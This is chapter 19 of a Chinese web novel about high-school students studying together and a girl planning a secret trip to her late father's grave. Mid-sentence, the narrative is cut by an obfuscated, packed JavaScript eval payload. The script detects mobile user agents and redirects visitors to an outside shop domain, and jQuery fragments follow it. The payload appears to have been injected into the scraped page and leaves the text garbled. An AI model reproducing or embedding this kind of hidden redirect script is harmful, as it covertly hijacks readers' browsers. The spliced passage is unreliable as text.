19.第 19 章

作品:《涩果

    19


    周末又是一个难得的大晴天。


    梁思意和林西津一早到了教室没多久,向葵和徐衡也从外面走了进来。


    “Hi~”向葵跟林西津打了声招呼,“昨晚思意跟我说她今天也要来教室自习,我们就约着一起了,不介意多两个人吧?”


    林西津笑了笑,说:“当然不会。”


    四个人拼桌坐在一起,徐衡翻出四张试卷,说:“这是我在八中的同学传给我的数学卷子,我还没来得及做。给你们也复印了两张,等下一起做。”


    梁思意接过一张,看见侧边印着“八中密卷,杜绝外传”八个小字,想起三中也经常在学校自出的试卷上印这样的小字,但最后还是传得全市通用。


    徐衡定了两个小时的闹钟,又说:“我们一块写了,有什么问题等会也能一起讨论。”


    三人都说行。


    卷子难度中等,连梁思意写起来也都觉得没那么棘手,草稿纸上写满了计算过程。


    徐衡和向葵都低着头在奋笔疾书。


    林西津写着停着,很多内容看似熟悉,却总卡在一半,他偶尔抬头,目光落到梁思意那里。


    梁思意无知无觉,手中的笔快速滑动着。


    林西津又垂眸看着眼前的试卷,黑色铅字铺天盖地地映入眼帘,心中逐渐涌生挫败与烦躁。


    还不到两个小时,向葵和徐衡都停了笔,熟练地拿起对方的试卷,几乎没出现什么不同的答案。


    向葵看向梁思意,她已经写到最后一道大题,顺便又看了眼林西津的卷子,一时愣了愣。


    一共五道解答题,他只写了前两题,最后三道大题还是空着的。


    她碰了碰徐衡的胳膊,徐衡顺着看过去,提笔在卷子上写了几个字。


    -还没到时间呢,我同学说这套卷子难度不高,他们普通班都好几个考高分的。


    向葵没多说,看了眼手机,离两小时结束还剩二十分钟。


    梁思意写完最后一个数字,长舒一口气:“八中的卷子也没我想象中那么难啊。”


    “哟,口气不小。”徐衡接过她的试卷,“我来看看你能考多少分。”


    “看吧看吧。”梁思意揉着手腕,凑过去看林西津的卷子,也看到他空着的三道大题。


    她一时没说话,反倒是林西津笑叹道:“你进步好快。”


    梁思意想到曲静之前说的那些话,起初的嘚瑟劲收敛了几分,斟酌着说:“都是徐衡和向葵,他们平时帮了我很多。”


    还有阎慎。


    只是这个名字不适合在这个时候提起。


    “看来阎慎给你的数学笔记挺有用啊。”徐衡头也不抬地说,“选择填空加起来只错了四道,大题我简单扫了眼,最后两题有点问题,等下吃完饭回来给你讲,我真饿了。”


    “……”梁思意抿了抿唇,也不知道说什么好,“那我们先去吃饭吧,我妈知道你们帮我补习,早上出门前特地交代我,要我中午带你们回家吃。”


    “那会不会太打扰了?”向葵说。


    梁思意看了眼林西津,说:“不会,中午家里没别人,就我妈妈自己在家。”


    阎慎出门早,梁思意吃早餐的时候,听到他跟何文兰说今天有事,不用等他回来吃饭。


    何文兰也没多问,但中午做好饭之后,还是给他单独盛出来一份。


    梁思意在厨房看到她放在保温盒里的饭菜,问了句:“中午要给阎叔叔送餐吗?”


    “不是,给小阎留的,怕他临时回来。”何文兰把碗筷递给她,“你别在这里忙活了,快招呼你同学吃饭。”


    “知道了。”梁思意笑着说。


    何文兰手艺好,徐衡一个人吃掉桌上二分之一的量,吃到最后向葵都怕他撑死过去。


    吃饱喝足,他们也懒得折腾,索性留在家里学习。


    梁思意下午有些犯困,杵着脑袋写试卷,时不时关注林西津的动静。


    向葵和徐衡揪着一道题吵不停,梁思意也凑过去看了眼,题目还没读懂,院子里忽然传来何文兰的声音:“小阎回来啦,吃饭了吗?”


    闻言,梁思意捏着试卷的手一松,抬头看向门口。


    “吃过了。”阎慎从屋外走进室内,许是没想到家里有这么多人,他脚步猛地停了下来。


    “哎哟,你回来得正好,快过来帮我看下这道题。”徐衡率先叫嚷道。


    阎慎这才动起来,低头换了鞋,拎着书包走到餐桌边。


    梁思意和林西津坐在靠里的位置,他跟没看见两人似的,拖了张凳子坐在徐衡右手边。


    “奥赛题你们也做?”阎慎审完题,拽了张草稿纸开始计算。


    “这不是想刷点难题,给自己上点强度吗。”徐衡笑着说,“没想到强度上过头了。”


    他和向葵属于均衡选手,各科成绩都稳定,月考模拟考对他们来说已经不算什么难过的关。


    只要按部就班学下去,名校已经在向他们招手。


    阎慎原先是理科重点班的,如若不是中途突然转科,现在估计在理科实验班也是尖子生。


    只不过奥赛题对于他们这种没参加过竞赛的人来说,强度确实超纲。


    半个小时后,草稿纸已经写满数字,但阎慎写写停停,最后还是放下笔说:“解不出来。”


    “我去,你都解不出来。”徐衡说,“算了,别浪费时间了,我还是拿到学校去问老张。”


    “我说你以后能不能少找点这种超纲题。”向葵照着徐衡脑袋拍了一巴掌,“我的意志禁不起你这样磨炼。”


    “错了错了。”徐衡缩着脖子躲开,模样有些滑稽。


    阎慎揉着眉心,很轻地笑了一下,目光始终没有一点偏移。


    梁思意说不上来是什么心情,只是自从被阎慎知道自己的秘密之后,这样的场景对她来说,总免不了有些提心吊胆。


    此刻阎慎不分青红皂白的误解,林西津不知缘由的回避,也一样都让她觉得难受。


    好在向葵主动开口说:“既然你回来了,我们收拾收拾早点去班里吧,晚点还有英语周测,我得去提前调一下录音机。”


    “行。”阎慎站起身,说,“我上楼拿几本书。”


    徐衡收拾好书包,去了卫生间。


    向葵帮梁思意看完最后两道题,见阎慎从楼上下来,说:“那我们先回去了,有什么问题你随时给我们发消息。”


    “好。”梁思意笑着点了点头。


    徐衡擦着手走出来,三个人走到院子里,梁思意听见他们跟何文兰告别的声音。


    屋里静了一瞬。


    梁思意看向林西津写了一下午的卷子,刚准备说话,却见徐衡突然走了进来,“差点忘记把笔记给你了。”


    他把手中笔记本放到桌上,特别叮嘱道:“好好看啊。”


    梁思意看见熟悉的封皮,愣了一瞬才拿起来说:“谢谢。”


    “不谢。”徐衡摆摆手,快步走出去,嗓门很大地喊了一声,“哎哟,阿姨不好意思,我刚太着急进屋忘换鞋了,今天时间赶,下次我来给你打扫卫生。”


    何文兰笑着说没事,抱着晒好的衣服走进屋里:“思意,西津,你们晚上想吃点什么?时间还早你们吃了再去学校也来得及。”


    “都行。”梁思意应了声,翻开笔记,是熟悉的题目整理,她眸光闪了闪,微不可察地叹了声气。


    林西津坐在一旁,突然说:“什么笔记,我能看看吗?”


    “数学笔记。”梁思意递过去,犹豫着说,“徐衡的字我不太看得懂,他就让阎慎把他的笔记先借我。”


    林西津“哦”了一声,随便翻了几页,合上之后又说:“今晚能借我拿回去看一下吗?”


    梁思意愣住,一时间没说好还是不好。


    林西津轻笑:“跟你开玩笑的,我拿回去用处也不大。”


    梁思意没有不经别人同意乱借东西的习惯,更何况这还是阎慎的笔记,她要是真借给林西津,他知道后估计能把她赶出三中。


    林西津把笔记放到桌上,梁思意拿起来收进书包里,沉默了会,想到一个两全之策:“我看完之后,重新整理一份给你。”


    “没事,也快月考了,你先忙你的。”林西津收好东西,说,“我约了人打球,晚点学校见。”


    “你不吃东西了吗?”梁思意问。


    “不了。”林西津走到客厅,“何姨,我约了人,晚饭就不在这里吃了,我先走了。”


    “哎。”何文兰应了声,从洗衣房走出来说,“要不要给你装点吃的?”


    林西津摆手说不用,又看了眼梁思意:“走了。”


    梁思意点点头,一时也没了胃口,想到晚上班里也有数学周测,她又翻出装进书包里的数学笔记。


    天大地大,学习最大。


    梁思意收起乱七八糟的念头,拿起笔记看了起来。


    晚上周测结束,她甚至觉得还没有白天做的那套八中密卷难,自我感觉太过良好,一时没忍住笑了出来。


    “笑什么?”考完试,林西津又将桌子拼回来。


    “笑刚刚的考试。”梁思意拍拍脸,不让自己太过得意,“今天考完提前放学,你跟你林叔叔说了吗?”


    “说了。”林西津说,“走吗?”


    “我等会儿,静静找我看几道题目。”


    “行。”林西津没说什么,拎着书包出了教室。


    班里也有留下继续自习的人,梁思意给曲静讲完题目,两人一块下了楼,正好赶上实验班放学。


    梁思意在楼梯处看见阎慎。


    晚上气温低,他戴了一顶黑色针织帽,显


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006578|192483||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得脸窄而小,几缕黑发被帽檐压着垂在额前。


    呼出的热气散在半空。


    一晃眼,又消失在人群里。


    梁思意在路口和曲静分开,穿过马路,隔着几米远看见阎慎从便利店出来。


    他站在台阶上,手指勾掉易拉罐的铁环,仰着头,喉结伴随吞咽滚动。


    一口气喝完一瓶,阎慎抿了下唇,侧身扔垃圾的时候注意到走近的梁思意。


    他愣了一瞬,下意识开口:“家里没有咖啡了。”


    “你……”梁思意莫名觉得好笑,“你怎么这么晚还喝咖啡?不怕睡不着吗?”


    “提神效果没那么强。”阎慎将易拉罐丢进垃圾桶里。


    “咚”的一声。


    并肩走了几步,梁思意盯着脚边的影子,轻声说:“谢谢你的笔记。”


    “嗯?”阎慎反应过来,没所谓地说,“看见了。”


    什么叫看见了?


    梁思意抬起头,看了他一眼。


    阎慎又说:“笔记本上的画。”


    梁思意恍然地“哦”了一声,笑着说:“还以为你要过段时间才会发现呢,但我说的不是这本,是今天的,谢谢你。”


    她为之前的不愉快又撬开一个和好的口子。


    “没什么。”走到家门口,阎慎伸手推门,淡淡地说:“笔记借你,你不要最后还考不出什么好成绩。”


    梁思意听得来气,咬了咬牙说:“你能不能盼我点好。”


    “祝你好运。”阎慎轻飘飘丢下一句话,率先进了院子。


    梁思意攥紧拳头,站在原地乱七八糟踢了一通,才跟着走了进去。


    院门一关一合,回归往日平静。


    平城的一模定在二月八号、九号两天,学校考虑到两次考试离得太近,索性取消了一月底的校内月考,用模考成绩决定分班结果。


    梁思意听到这个消息,稍微松了口气,但一想到模考的时间,她又有些情绪低落。


    八号,是她父亲梁远山的忌日。


    原本往年,何文兰都会带梁思意回去扫墓。


    今年时间不凑巧,刚好那阵子平城流感肆虐,何文兰平时买菜逛超市接触人多,不幸中招。


    她便让梁思意先安心考试,考完试再过去。


    梁思意嘴上应着,想到第二天刚好是周日,晚上便在手机上买了七号白天最早的一班高铁票。


    一模是入校以来最大型的一次考试,也关系到能不能重新回到实验班,梁思意心里始终有些没底。


    她需要去找一些底气。


    梁思意提前买好来回的高铁票,决定暂时瞒着何文兰,等之后再跟她说。


    她第一次做这样的事,一夜都没睡踏实。


    第二天一早,何文兰最近病着,起得都很晚,家里静悄悄的。


    梁思意背着书包,轻手轻脚下到一楼,刚穿好鞋站起来,身后冷不丁传来一声。


    “你去哪儿?”


    梁思意吓了一跳,紧掐着手才没喊出来,只是人没站稳,“哐当”一声撞在鞋柜上。


    她回过头,气冲冲瞪着阎慎:“你怎么走路没声音啊?”


    阎慎也有些无辜,他睡醒口渴下来接杯热水,看见梁思意跟做贼一样蹲在鞋柜那儿。


    “你这么一大早去哪儿?”阎慎走近了问。


    梁思意把踢乱的鞋重新摆好,站起身说:“我去学校上自习。”


    阎慎看了眼时间,平静地说:“现在才六点,周日学校七点开门,你去这么早?”


    “我准备,准备先顺路去吃个早点。”梁思意不擅长撒谎,眼神飘忽,“我妈最近不是生病做不了饭。”


    阎慎依旧怀疑地看着她。


    梁思意的车是七点半的,从家里到高铁站打车要半个多小时,怕赶上早高峰,她不想跟阎慎多说:“我先走了,我妈要是问起来,你就说我去学校了。”


    “我不会撒谎。”阎慎说。


    “……”梁思意说,“没让你撒谎,我真是去学校。”


    “你想一个人去淮城?”阎慎记得明天是她父亲的忌日,昨晚也听阎余新提了一嘴。


    梁思意没想到他猜这么准,索性也不再骗他:“我是准备去,一天就回了,我妈不放心我一个人,但我……”


    “我不会帮你隐瞒。”阎慎说,“万一你路上出了什么事,我替你瞒着岂不是成了帮凶。”


    梁思意头都大了,“那你到底要……”


    “我跟你一起。”阎慎说,“你先打车,我上楼穿件衣服。”


    “不是……”梁思意不知道事情怎么变成现在这个走向。


    “顺便帮我买张高铁票。”阎慎边走边说,“身份证号我发你。”


    梁思意没辙,打开购票软件:“那你快点。”


    “十分钟。”